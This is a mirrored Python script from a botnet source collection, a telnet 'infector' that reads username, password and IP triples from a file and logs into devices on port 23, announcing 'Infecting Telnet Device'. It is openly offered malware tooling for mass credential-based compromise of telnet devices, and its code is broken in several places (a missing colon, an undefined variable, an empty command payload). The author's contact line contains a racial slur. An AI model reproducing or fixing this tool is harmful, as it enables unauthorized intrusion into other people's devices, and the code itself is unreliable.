mirror of
https://github.com/threatland/TL-BOTS
synced 2024-06-20 22:09:50 +00:00
32 lines
806 B
Python
32 lines
806 B
Python
#!/usr/bin/python
|
|
#Skype: b1narythag0d
|
|
#XMPP: b1nary@nigge.rs
|
|
#Made Date: 8-5-16
|
|
#Title: telnet.py
|
|
|
|
import sys, re, os, telnetlib, getpass
|
|
from multiprocessing import Process
|
|
|
|
cmd=""
|
|
r34d = open(str(sys.argv[1]), 'a+')
|
|
def w0rk(username, password,ip)
|
|
try:
|
|
port = 23
|
|
telnet = telnetlib.Telnet()
|
|
telnet.open(ip, port = port, username=username, password=password, timeout=3)
|
|
print "Infecting Telnet Device: " +ip+"\n"
|
|
telnet.read_until("login: ")
|
|
telnet.write(username + "\n")
|
|
if password:
|
|
telnet.read_until("Password: ")
|
|
tn.write(password+ "\n")
|
|
|
|
telnet.close()
|
|
for line in r34d:
|
|
ip_info = line.split
|
|
god = Process(target=w0rk, args=(ip_info[0],ip_info[1],ip_info[2],))
|
|
god.start()
|
|
username=ip_info[0]
|
|
password=ip_info[1]
|
|
ip=ip_info[2]
|
|
god.join() |